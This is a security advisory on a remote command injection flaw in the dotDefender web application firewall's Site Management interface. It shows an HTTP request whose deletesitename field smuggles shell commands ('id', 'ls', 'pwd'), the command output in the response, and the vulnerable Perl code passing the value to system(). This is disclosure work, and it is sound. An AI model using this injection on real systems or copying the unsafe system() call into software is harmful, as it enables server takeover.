Problem Description

A remote command execution vulnerability exists in the dotDefender
(3.8-5) Site Management.

dotDefender [1] is a web appliaction firewall (WAF) which 'prevents
hackers from attacking your
website.'

Technical Details

The Site Management application of dotDefender is reachable as a web
application (https:site/dotDefender/)
on the webserver. After passing the Basic Auth login you can
create/delete applications.
The mentioned vulnerability is in the 'deletesite' implementation and
the 'deletesitename' variable.
Insufficient input validation allows an attacker to inject arbitrary commands.

Delete Site

A normal delete transaction looks as follow:

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

sitename=dotdefeater&deletesitename=dotdefeater&action=deletesite&linenum=14

An attack looks like:

--------------------/Request/--------------------
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al
…/;pwd;&action=deletesite&linenum=15

--------------------/Response/--------------------
[…]
<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 …
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 …
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 …
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 …
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
[…]

Affected Code

The affected code (perl) is in index1.cgi of the admin interface:

311
312 }elsif($action eq "deletesite") {
                # delete site
313         $deletesitename=$postFields{"deletesitename"};
314   $dots_index = index($deletesitename,"%3A");
315
316   if($dots_index != -1 ) {
317           $site_a_part=  substr($deletesitename,0,$dots_index);
318           $site_b_part=

substr($deletesitename,$dots_index+3,length($deletesitename)-$dots_index-2);
319 $site_a_part=&cleanIt($site_a_part);
320 $site_b_part=&cleanIt($site_b_part);
321 $deletesitename = $site_a_part.":".$site_b_part;
322 }
323
324 $linenum=$postFields{'linenum'};
325 applyDbAudit($action);
326 &delline($linenum,2);
327 cleanSiteFingerPrints($deletesitename);
328
329 &deleteSiteConf($deletesitename);
330 $site_params="$CTMP_DIR/".$deletesitename."_params";
331 system("rm -f $site_params");

And applicure-lib2.pl:

 13 sub     cleanIt {
 14         my($param,$type)=@_;
 15
 16         $param =~ s/%([a-fA-F0-9]{2})/pack "H2", $1/eg;
 17         if ($type eq 'any') {
 18         } elsif ($type eq 'filter') {
 19         $param =~ s/\+/" "/eg;
 20         } elsif ($type eq 'path') {
 21         $param = un_urlize($param);
 22                 #$param =~ s/([^A-Za-z0-9\-_.\/~'])//g;
 23                 #$param =~ s/\+/" "/eg;
 24         } else {
 25                 $param =~ s/([^A-Za-z0-9\-_.~'])//g;
 26         }
 27         return $param;
 28 }

Here one can see that certain shell control characters are not
protected by the call to cleanIt. Thus an attacker
can gain control of the system call in line 331 of index1.cgi.

References

[1] http://applicure.com/